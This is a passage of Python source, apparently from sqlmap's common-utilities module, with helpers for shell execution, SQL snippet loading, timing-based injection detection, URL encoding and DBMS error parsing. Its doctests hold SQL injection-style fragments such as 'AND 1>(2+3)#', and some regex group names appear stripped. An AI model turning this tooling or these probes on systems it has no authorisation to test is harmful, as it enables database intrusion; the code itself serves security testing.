len(_) >= minLength] commonWords.sort(key=functools.cmp_to_key(lambda a, b: cmp(a.lower(), b.lower()))) for word in commonWords: infoMsg += "'%s', " % word infoMsg = infoMsg.rstrip(", ") else: infoMsg += "None" logger.info(infoMsg) return commonWords def isWindowsDriveLetterPath(filepath): """ Returns True if given filepath starts with a Windows drive letter >>> isWindowsDriveLetterPath('C:\\boot.ini') True >>> isWindowsDriveLetterPath('/var/log/apache.log') False """ return re.search(r"\A[\w]\:", filepath) is not None def posixToNtSlashes(filepath): """ Replaces all occurrences of Posix slashes in provided filepath with NT backslashes >>> posixToNtSlashes('C:/Windows') 'C:\\\\Windows' """ return filepath.replace('/', '\\') if filepath else filepath def ntToPosixSlashes(filepath): """ Replaces all occurrences of NT backslashes in provided filepath with Posix slashes >>> ntToPosixSlashes(r'C:\\Windows') 'C:/Windows' """ return filepath.replace('\\', '/') if filepath else filepath def isHexEncodedString(subject): """ Checks if the provided string is hex encoded >>> isHexEncodedString('DEADBEEF') True >>> isHexEncodedString('test') False """ return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None @cachedmethod def getConsoleWidth(default=80): """ Returns console width >>> any((getConsoleWidth(), True)) True """ width = None if os.getenv("COLUMNS", "").isdigit(): width = int(os.getenv("COLUMNS")) else: try: output = shellExec("stty size") match = re.search(r"\A\d+ (\d+)", output) if match: width = int(match.group(1)) except (OSError, MemoryError): pass if width is None: try: import curses stdscr = curses.initscr() _, width = stdscr.getmaxyx() curses.endwin() except: pass return width or default def shellExec(cmd): """ Executes arbitrary shell command >>> shellExec('echo 1').strip() == '1' True """ retVal = "" try: retVal = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()[0] or "" except Exception as ex: retVal = getSafeExString(ex) finally: retVal = getText(retVal) return retVal def clearConsoleLine(forceOutput=False): """ Clears current console line """ if IS_TTY: dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput) kb.prependFlag = False def parseXmlFile(xmlFile, handler): """ Parses XML file by a given handler """ try: with contextlib.closing(io.StringIO(readCachedFileContent(xmlFile))) as stream: parse(stream, handler) except (SAXParseException, UnicodeError) as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) def getSQLSnippet(dbms, sfile, **variables): """ Returns content of SQL snippet located inside 'procs/' directory >>> 'RECONFIGURE' in getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate") True """ if sfile.endswith('.sql') and os.path.exists(sfile): filename = sfile elif not sfile.endswith('.sql') and os.path.exists("%s.sql" % sfile): filename = "%s.sql" % sfile else: filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], sfile if sfile.endswith('.sql') else "%s.sql" % sfile) checkFile(filename) retVal = readCachedFileContent(filename) retVal = re.sub(r"#.+", "", retVal) retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n") for _ in variables: retVal = re.sub(r"%%%s%%" % _, variables[_].replace('\\', r'\\'), retVal) for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I): retVal = retVal.replace(_, randomStr()) for _ in re.findall(r"%RANDINT\d+%", retVal, re.I): retVal = retVal.replace(_, randomInt()) variables = re.findall(r"(? 1 else "", ", ".join(variables), sfile) logger.error(errMsg) msg = "do you want to provide the substitution values? [y/N] " if readInput(msg, default='N', boolean=True): for var in variables: msg = "insert value for variable '%s': " % var val = readInput(msg, default="") retVal = retVal.replace(r"%%%s%%" % var, val) return retVal def readCachedFileContent(filename, mode='r'): """ Cached reading of file content (avoiding multiple same file reading) >>> "readCachedFileContent" in readCachedFileContent(__file__) True """ if filename not in kb.cache.content: with kb.locks.cache: if filename not in kb.cache.content: checkFile(filename) try: with openFile(filename, mode) as f: kb.cache.content[filename] = f.read() except (IOError, OSError, MemoryError) as ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) return kb.cache.content[filename] def average(values): """ Computes the arithmetic mean of a list of numbers. >>> "%.1f" % average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) '0.9' """ return (1.0 * sum(values) / len(values)) if values else None @cachedmethod def stdev(values): """ Computes standard deviation of a list of numbers. # Reference: http://www.goldb.org/corestats.html >>> "%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) '0.063' """ if not values or len(values) < 2: return None else: avg = average(values) _ = 1.0 * sum(pow((_ or 0) - avg, 2) for _ in values) return sqrt(_ / (len(values) - 1)) def calculateDeltaSeconds(start): """ Returns elapsed time from start till now >>> calculateDeltaSeconds(0) > 1151721660 True """ return time.time() - start def initCommonOutputs(): """ Initializes dictionary containing common output values used by "good samaritan" feature >>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"] True """ kb.commonOutputs = {} key = None with openFile(paths.COMMON_OUTPUTS, 'r') as f: for line in f: if line.find('#') != -1: line = line[:line.find('#')] line = line.strip() if len(line) > 1: if line.startswith('[') and line.endswith(']'): key = line[1:-1] elif key: if key not in kb.commonOutputs: kb.commonOutputs[key] = set() if line not in kb.commonOutputs[key]: kb.commonOutputs[key].add(line) def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ Returns newline delimited items contained inside file >>> "SELECT" in getFileItems(paths.SQL_KEYWORDS) True """ retVal = list() if not unique else OrderedDict() if filename: filename = filename.strip('"\'') checkFile(filename) try: with openFile(filename, 'r', errors="ignore") if unicoded else open(filename, 'r') as f: for line in f: if commentPrefix: if line.find(commentPrefix) != -1: line = line[:line.find(commentPrefix)] line = line.strip() if line: if lowercase: line = line.lower() if unique and line in retVal: continue if unique: retVal[line] = True else: retVal.append(line) except (IOError, OSError, MemoryError) as ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) return retVal if not unique else list(retVal.keys()) def goGoodSamaritan(prevValue, originalCharset): """ Function for retrieving parameters needed for common prediction (good samaritan) feature. prevValue: retrieved query output so far (e.g. 'i'). Returns commonValue if there is a complete single match (in kb.partRun of txt/common-outputs.txt under kb.partRun) regarding parameter prevValue. If there is no single value match, but multiple, commonCharset is returned containing more probable characters (retrieved from matched values in txt/common-outputs.txt) together with the rest of charset as otherCharset. """ if kb.commonOutputs is None: initCommonOutputs() predictionSet = set() commonValue = None commonPattern = None countCommonValue = 0 # If the header (e.g. Databases) we are looking for has common # outputs defined if kb.partRun in kb.commonOutputs: commonPartOutputs = kb.commonOutputs[kb.partRun] commonPattern = commonFinderOnly(prevValue, commonPartOutputs) # If the longest common prefix is the same as previous value then # do not consider it if commonPattern and commonPattern == prevValue: commonPattern = None # For each common output for item in commonPartOutputs: # Check if the common output (item) starts with prevValue # where prevValue is the enumerated character(s) so far if item.startswith(prevValue): commonValue = item countCommonValue += 1 if len(item) > len(prevValue): char = item[len(prevValue)] predictionSet.add(char) # Reset single value if there is more than one possible common # output if countCommonValue > 1: commonValue = None commonCharset = [] otherCharset = [] # Split the original charset into common chars (commonCharset) # and other chars (otherCharset) for ordChar in originalCharset: if _unichr(ordChar) not in predictionSet: otherCharset.append(ordChar) else: commonCharset.append(ordChar) commonCharset.sort() return commonValue, commonPattern, commonCharset, originalCharset else: return None, None, None, originalCharset def getPartRun(alias=True): """ Goes through call stack and finds constructs matching conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt' """ retVal = None commonPartsDict = optDict["Enumeration"] try: stack = [item[4][0] if isinstance(item[4], list) else '' for item in inspect.stack()] # Goes backwards through the stack to find the conf.dbmsHandler method # calling this function for i in xrange(0, len(stack) - 1): for regex in (r"self\.(get[^(]+)\(\)", r"conf\.dbmsHandler\.([^(]+)\(\)"): match = re.search(regex, stack[i]) if match: # This is the calling conf.dbmsHandler or self method # (e.g. 'getDbms') retVal = match.groups()[0] break if retVal is not None: break # Reference: http://coding.derkeiler.com/Archive/Python/comp.lang.python/2004-06/2267.html except TypeError: pass # Return the INI tag to consider for common outputs (e.g. 'Databases') if alias: return commonPartsDict[retVal][1] if isinstance(commonPartsDict.get(retVal), tuple) else retVal else: return retVal def longestCommonPrefix(*sequences): """ Returns longest common prefix occuring in given sequences # Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 >>> longestCommonPrefix('foobar', 'fobar') 'fo' """ if len(sequences) == 1: return sequences[0] sequences = [pair[1] for pair in sorted((len(fi), fi) for fi in sequences)] if not sequences: return None for i, comparison_ch in enumerate(sequences[0]): for fi in sequences[1:]: ch = fi[i] if ch != comparison_ch: return fi[:i] return sequences[0] def commonFinderOnly(initial, sequence): """ Returns parts of sequence which start with the given initial string >>> commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]) 'abcde' """ return longestCommonPrefix(*[_ for _ in sequence if _.startswith(initial)]) def pushValue(value): """ Push value to the stack (thread dependent) """ exception = None success = False for i in xrange(PUSH_VALUE_EXCEPTION_RETRY_COUNT): try: getCurrentThreadData().valueStack.append(copy.deepcopy(value)) success = True break except Exception as ex: exception = ex if not success: getCurrentThreadData().valueStack.append(None) if exception: raise exception def popValue(): """ Pop value from the stack (thread dependent) >>> pushValue('foobar') >>> popValue() 'foobar' """ retVal = None try: retVal = getCurrentThreadData().valueStack.pop() except IndexError: pass return retVal def wasLastResponseDBMSError(): """ Returns True if the last web request resulted in a (recognized) DBMS error page """ threadData = getCurrentThreadData() return threadData.lastErrorPage and threadData.lastErrorPage[0] == threadData.lastRequestUID def wasLastResponseHTTPError(): """ Returns True if the last web request resulted in an erroneous HTTP code (like 500) """ threadData = getCurrentThreadData() return threadData.lastHTTPError and threadData.lastHTTPError[0] == threadData.lastRequestUID def wasLastResponseDelayed(): """ Returns True if the last web request resulted in a time-delay """ # 99.9999999997440% of all non time-based SQL injection affected # response times should be inside +-7*stdev([normal response times]) # Math reference: http://www.answers.com/topic/standard-deviation deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, [])) threadData = getCurrentThreadData() if deviation and not conf.direct and not conf.disableStats: if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: warnMsg = "time-based standard deviation method used on a model " warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES logger.warning(warnMsg) lowerStdLimit = average(kb.responseTimes[kb.responseTimeMode]) + TIME_STDEV_COEFF * deviation retVal = (threadData.lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit)) if not kb.testMode and retVal: if kb.adjustTimeDelay is None: msg = "do you want sqlmap to try to optimize value(s) " msg += "for DBMS delay responses (option '--time-sec')? [Y/n] " kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if not readInput(msg, default='Y', boolean=True) else ADJUST_TIME_DELAY.YES if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit) return retVal else: delta = threadData.lastQueryDuration - conf.timeSec if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average delta += 0.05 return delta >= 0 def adjustTimeDelay(lastQueryDuration, lowerStdLimit): """ Provides tip for adjusting time delay in time-based data retrieval """ candidate = (1 if not isHeavyQueryBased() else 2) + int(round(lowerStdLimit)) kb.delayCandidates = [candidate] + kb.delayCandidates[:-1] if all((_ == candidate for _ in kb.delayCandidates)) and candidate < conf.timeSec: if lastQueryDuration / (1.0 * conf.timeSec / candidate) > MIN_VALID_DELAYED_RESPONSE: # Note: to prevent problems with fast responses for heavy-queries like RANDOMBLOB conf.timeSec = candidate infoMsg = "adjusting time delay to " infoMsg += "%d second%s due to good response times" % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.info(infoMsg) def getLastRequestHTTPError(): """ Returns last HTTP error code """ threadData = getCurrentThreadData() return threadData.lastHTTPError[1] if threadData.lastHTTPError else None def extractErrorMessage(page): """ Returns reported error message from page if it founds one >>> getText(extractErrorMessage(u'Test\\nWarning: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated

Only a test page

') ) 'oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated' >>> extractErrorMessage('Warning: This is only a dummy foobar test') is None True """ retVal = None if isinstance(page, six.string_types): if wasLastResponseDBMSError(): page = re.sub(r"<[^>]+>", "", page) for regex in ERROR_PARSING_REGEXES: match = re.search(regex, page, re.IGNORECASE) if match: candidate = htmlUnescape(match.group("result")).replace("
", "\n").strip() if candidate and (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO): retVal = candidate break if not retVal and wasLastResponseDBMSError(): match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE) if match: retVal = match.group(0) return retVal def findLocalPort(ports): """ Find the first opened localhost port from a given list of ports (e.g. for Tor port checks) """ retVal = None for port in ports: try: try: s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM) except AttributeError: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((LOCALHOST, port)) retVal = port break except socket.error: pass finally: try: s.close() except socket.error: pass return retVal def findMultipartPostBoundary(post): """ Finds value for a boundary parameter in given multipart POST body >>> findMultipartPostBoundary("-----------------------------9051914041544843365972754266\\nContent-Disposition: form-data; name=text\\n\\ndefault") '9051914041544843365972754266' """ retVal = None counts = {} for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): boundary = match.group(1).strip().strip('-') counts[boundary] = counts.get(boundary, 0) + 1 if counts: sorted_boundaries = sorted(counts.items(), key=lambda x: x[1], reverse=True) retVal = sorted_boundaries[0][0] return retVal def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True): """ URL decodes given value >>> urldecode('AND%201%3E%282%2B3%29%23', convall=True) == 'AND 1>(2+3)#' True >>> urldecode('AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#' True >>> urldecode(b'AND%201%3E%282%2B3%29%23', convall=False) == 'AND 1>(2%2B3)#' True """ result = value if value: value = getUnicode(value) if convall: result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value) else: result = value charset = set(string.printable) - set(unsafe) def _(match): char = decodeHex(match.group(1), binary=False) return char if char in charset else match.group(0) if spaceplus: result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case) result = re.sub(r"%([0-9a-fA-F]{2})", _, result or "") result = getUnicode(result, encoding or UNICODE_ENCODING) return result def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): """ URL encodes given value >>> urlencode('AND 1>(2+3)#') 'AND%201%3E%282%2B3%29%23' >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%DBA%')>0") 'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0' >>> urlencode("AND COUNT(SELECT name FROM users WHERE name LIKE '%_SYSTEM%')>0") 'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0' >>> urlencode("SELECT NAME FROM TABLE WHERE VALUE LIKE '%SOME%BEGIN%'") 'SELECT%20NAME%20FROM%20TABLE%20WHERE%20VALUE%20LIKE%20%27%25SOME%25BEGIN%25%27' """ if conf.get("direct"): return value count = 0 result = None if value is None else "" if value: value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value) if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value): warnMsg = "if you experience problems with " warnMsg += "non-ASCII identifier names " warnMsg += "you are advised to rerun with '--tamper=charunicodeencode'" singleTimeWarnMessage(warnMsg) if convall or safe is None: safe = "" # corner case when character % really needs to be # encoded (when not representing URL encoded char) # except in cases when tampering scripts are used if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions: value = re.sub(r"(?i)\bLIKE\s+'[^']+'", lambda match: match.group(0).replace('%', "%25"), value) value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value) while True: result = _urllib.parse.quote(getBytes(value), safe) if limit and len(result) > URLENCODE_CHAR_LIMIT: if count >= len(URLENCODE_FAILSAFE_CHARS): break while count < len(URLENCODE_FAILSAFE_CHARS): safe += URLENCODE_FAILSAFE_CHARS[count] count += 1 if safe[-1] in value: break else: break if spaceplus: result = result.replace(_urllib.parse.quote(' '), '+') result = result.replace(DOLLAR_MARKER, '$') return result def runningAsAdmin(): """ Returns True if the current process is run under admin privileges """ isAdmin = None if PLATFORM in ("posix", "mac"): _ = os.geteuid() isAdmin = isinstance(_, (float, six.integer_types)) and _ == 0 elif IS_WIN: import ctypes _ = ctypes.windll.shell32.IsUserAnAdmin() isAdmin = isinstance(_, (float, six.integer_types)) and _ == 1 else: errMsg = "sqlmap is not able to check if you are running it " errMsg += "as an administrator account on this platform. " errMsg += "sqlmap will assume that you are an administrator " errMsg += "which is mandatory for the requested takeover attack " errMsg += "to work properly" logger.error(errMsg) isAdmin = True return isAdmin def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None): """ Logs HTTP traffic to the output file """ if conf.harFile: conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime) if conf.trafficFile: with kb.locks.log: dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep)) dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) def getPageTemplate(payload, place): # Cross-referenced function raise NotImplementedError @cachedmethod def getPublicTypeMembers(type_, onlyValues=False): """ Useful for getting members from types (e.g. in enums) >>> [_ for _ in getPublicTypeMembers(OS, True)] ['Linux', 'Windows'] >>> [_ for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True)] [1, 2, 3, 4, 5, 6] """ retVal = [] for name, value in inspect.getmembers(type_): if not name.startswith("__"): if not onlyValues: retVal.append((name, value)) else: retVal.append(value) return retVal def enumValueToNameLookup(type_, value_): """ Returns name of a enum member with a given value >>> enumValueToNameLookup(SORT_ORDER, 100) 'LAST' """ retVal = None for name, value in getPublicTypeMembers(type_): if value == value_: retVal = name break return retVal @cachedmethod def extractRegexResult(regex, content, flags=0): """ Returns 'result' group value from a possible match with regex on a given content >>> extractRegexResult(r'a(?P[^g]+)g', 'abcdefg') 'bcdef' >>> extractRegexResult(r'a(?P[^g]+)g', 'ABCDEFG', re.I) 'BCDEF' """ retVal = None if regex and content and "?P" in regex: if isinstance(content, six.binary_type) and isinstance(regex, six.text_type): regex = getBytes(regex) match = re.search(regex, content, flags) if match: retVal = match.group("result") return retVal def extractTextTagContent(page): """ Returns list containing content from "textual" tags >>> extractTextTagContent('Title
foobar
Link') ['Title', 'foobar'] """ page = page or "" if REFLECTED_VALUE_MARKER in page: try: page = re.sub(r"(?i)[^\s>]*%s[^\s<]*" % REFLECTED_VALUE_MARKER, "", page) except MemoryError: page = page.replace(REFLECTED_VALUE_MARKER, "") return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)) def trimAlphaNum(value): """ Trims alpha numeric characters from start and ending of a given value >>> trimAlphaNum('AND 1>(2+3)-- foobar') ' 1>(2+3)-- ' """ while value and value[-1].isalnum(): value = value[:-1] while value and value[0].isalnum(): value = value[1:] return value def isNumPosStrValue(value): """ Returns True if value is a string (or integer) with a positive integer representation >>> isNumPosStrValue(1) True >>> isNumPosStrValue('1') True >>> isNumPosStrValue(0) False >>> isNumPosStrValue('-2') False >>> isNumPosStrValue('100000000000000000000') False """ retVal = False try: retVal = ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT except ValueError: pass return retVal @cachedmethod def aliasToDbmsEnum(dbms): """ Returns major DBMS name from a given alias >>> aliasToDbmsEnum('mssql') 'Microsoft SQL Server' """ retVal = None if dbms: for key, item in DBMS_DICT.items(): if dbms.lower() in item[0] or dbms.lower() == key.lower(): retVal = key break return retVal def findDynamicContent(firstPage, secondPage): """ This function checks if the provided pages have dynamic content. If they are dynamic, proper markings will be made >>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.") >>> kb.dynamicMarkings [('natum reque et per. ', 'Facer tritani repreh')] """ if not firstPage or not secondPage: return infoMsg = "searching for dynamic content" singleTimeLogMessage(infoMsg) blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) kb.dynamicMarkings = [] # Removing too small matching blocks for block in blocks[:]: (_, _, length) = block if length <= 2 * DYNAMICITY_BOUNDARY_LENGTH: blocks.remove(block) # Making of dynamic markings based on prefix/suffix principle if len(blocks) > 0: blocks.insert(0, None) blocks.append(None) for i in xrange(len(blocks) - 1): prefix = firstPage[blocks[i][0]:blocks[i][0] + blocks[i][2]] if blocks[i] else None suffix = firstPage[blocks[i + 1][0]:blocks[i + 1][0] + blocks[i + 1][2]] if blocks[i + 1] else None if prefix is None and blocks[i + 1][0] == 0: continue if suffix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)): continue if prefix and suffix: prefix = prefix[-DYNAMICITY_BOUNDARY_LENGTH:] suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH] for _ in (firstPage, secondPage): match = re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _) if match: infix = match.group(1) if infix[0].isalnum(): prefix = trimAlphaNum(prefix) if infix[-1].isalnum(): suffix = trimAlphaNum(suffix) break kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None)) if len(kb.dynamicMarkings) > 0: infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') singleTimeLogMessage(infoMsg) def removeDynamicContent(page): """ Removing dynamic content from supplied page basing removal on precalculated dynamic markings """ if page: for item in kb.dynamicMarkings: prefix, suffix = item if prefix is None and suffix is None: continue elif prefix is None: page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page) elif suffix is None: page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page) else: page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) return page def filterStringValue(value, charRegex, replacement=""): """ Returns string value consisting only of chars satisfying supplied regular expression (note: it has to be in form [...]) >>> filterStringValue('wzydeadbeef0123#', r'[0-9a-f]') 'deadbeef0123' """ retVal = value if value: retVal = re.sub(charRegex.replace("[", "[^") if "[^" not in charRegex else charRegex.replace("[^", "["), replacement, value) return retVal def filterControlChars(value, replacement=' '): """ Returns string value with control chars being supstituted with replacement character >>> filterControlChars('AND 1>(2+3)\\n--') 'AND 1>(2+3) --' """ return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement) def filterNone(values): """ Emulates filterNone([...]) functionality >>> filterNone([1, 2, "", None, 3, 0]) [1, 2, 3, 0] """ retVal = values if isinstance(values, _collections.Iterable): retVal = [_ for _ in values if _ or _ == 0] return retVal def isDBMSVersionAtLeast(minimum): """ Checks if the recognized DBMS version is at least the version specified >>> pushValue(kb.dbmsVersion) >>> kb.dbmsVersion = "2" >>> isDBMSVersionAtLeast("1.3.4.1.4") True >>> isDBMSVersionAtLeast(2.1) False >>> isDBMSVersionAtLeast(">2") False >>> isDBMSVersionAtLeast(">=2.0") True >>> kb.dbmsVersion = "<2" >>> isDBMSVersionAtLeast("2") False >>> isDBMSVersionAtLeast("1.5") True >>> kb.dbmsVersion = "MySQL 5.4.3-log4" >>> isDBMSVersionAtLeast("5") True >>> kb.dbmsVersion = popValue() """ retVal = None if not any(isNoneValue(_) for _ in (Backend.getVersion(), minimum)) and Backend.getVersion() != UNKNOWN_DBMS_VERSION: version = Backend.getVersion().replace(" ", "").rstrip('.') correction = 0.0 if ">=" in version: pass elif '>' in version: correction = VERSION_COMPARISON_CORRECTION elif '<' in version: correction = -VERSION_COMPARISON_CORRECTION version = extractRegexResult(r"(?P[0-9][0-9.]*)", version) if version: if '.' in version: parts = version.split('.', 1) parts[1] = filterStringValue(parts[1], '[0-9]') version = '.'.join(parts) try: version = float(filterStringValue(version, '[0-9.]')) + correction except ValueError: return None if isinstance(minimum, six.string_types): if '.' in minimum: parts = minimum.split('.', 1) parts[1] = filterStringValue(parts[1], '[0-9]') minimum = '.'.join(parts) correction = 0.0 if minimum.startswith(">="): pass elif minimum.startswith(">"): correction = VERSION_COMPARISON_CORRECTION minimum = float(filterStringValue(minimum, '[0-9.]')) + correction retVal = version >= minimum return retVal def parseSqliteTableSchema(value): """ Parses table column names and types from specified SQLite table schema >>> kb.data.cachedColumns = {} >>> parseSqliteTableSchema("CREATE TABLE users(\\n\\t\\tid INTEGER,\\n\\t\\tname TEXT\\n);") True >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('id', 'INTEGER'), ('name', 'TEXT')) True >>> parseSqliteTableSchema("CREATE TABLE dummy(`foo bar` BIGINT, \\"foo\\" VARCHAR, 'bar' TEXT)"); True >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('foo bar', 'BIGINT'), ('foo', 'VARCHAR'), ('bar', 'TEXT')) True >>> parseSqliteTableSchema("CREATE TABLE suppliers(\\n\\tsupplier_id INTEGER PRIMARY KEY DESC,\\n\\tname TEXT NOT NULL\\n);"); True >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('supplier_id', 'INTEGER'), ('name', 'TEXT')) True >>> parseSqliteTableSchema("CREATE TABLE country_languages (\\n\\tcountry_id INTEGER NOT NULL,\\n\\tlanguage_id INTEGER NOT NULL,\\n\\tPRIMARY KEY (country_id, language_id),\\n\\tFOREIGN KEY (country_id) REFERENCES countries (country_id) ON DELETE CASCADE ON UPDATE NO ACTION,\\tFOREIGN KEY (language_id) REFERENCES languages (language_id) ON DELETE CASCADE ON UPDATE NO ACTION);"); True >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('country_id', 'INTEGER'), ('language_id', 'INTEGER')) True """ retVal = False value = extractRegexResult(r"(?s)\((?P.+)\)", value) if value: table = {} columns = OrderedDict() value = re.sub(r"\(.+?\)", "", value).strip() for match in re.finditer(r"(?:\A|,)\s*(([\"'`]).+?\2|\w+)(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I): column = match.group(1).strip(match.group(2) or "") if re.search(r"(?i)\A(CONSTRAINT|PRIMARY|UNIQUE|CHECK|FOREIGN)\b", column.strip()): continue retVal = True columns[column] = match.group(3) or "TEXT" table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[conf.db].update(table) else: kb.data.cachedColumns[conf.db] = table return retVal def getTechniqueData(technique=None): """ Returns injection data for technique specified """ return kb.injection.data.get(technique if technique is not None else getTechnique()) def isTechniqueAvailable(technique): """ Returns True if there is injection data which sqlmap could use for technique specified >>> pushValue(kb.injection.data) >>> kb.injection.data[PAYLOAD.TECHNIQUE.ERROR] = [test for test in getSortedInjectionTests() if "error" in test["title"].lower()][0] >>> isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) True >>> kb.injection.data = popValue() """ if conf.technique and isinstance(conf.technique, list) and technique not in conf.technique: return False else: return getTechniqueData(technique) is not None def isHeavyQueryBased(technique=None): """ Returns True whether current (kb.)technique is heavy-query based >>> pushValue(kb.injection.data) >>> setTechnique(PAYLOAD.TECHNIQUE.STACKED) >>> kb.injection.data[getTechnique()] = [test for test in getSortedInjectionTests() if "heavy" in test["title"].lower()][0] >>> isHeavyQueryBased() True >>> kb.injection.data = popValue() """ retVal = False technique = technique or getTechnique() if isTechniqueAvailable(technique): data = getTechniqueData(technique) if data and "heavy query" in data["title"].lower(): retVal = True return retVal def isStackingAvailable(): """ Returns True whether techniques using stacking are available >>> pushValue(kb.injection.data) >>> kb.injection.data[PAYLOAD.TECHNIQUE.STACKED] = [test for test in getSortedInjectionTests() if "stacked" in test["title"].lower()][0] >>> isStackingAvailable() True >>> kb.injection.data = popValue() """ retVal = False if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: retVal = True else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): data = getTechniqueData(technique) if data and "stacked" in data["title"].lower(): retVal = True break return retVal def isInferenceAvailable(): """ Returns True whether techniques using inference technique are available >>> pushValue(kb.injection.data) >>> kb.injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = getSortedInjectionTests()[0] >>> isInferenceAvailable() True >>> kb.injection.data = popValue() """ return any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, 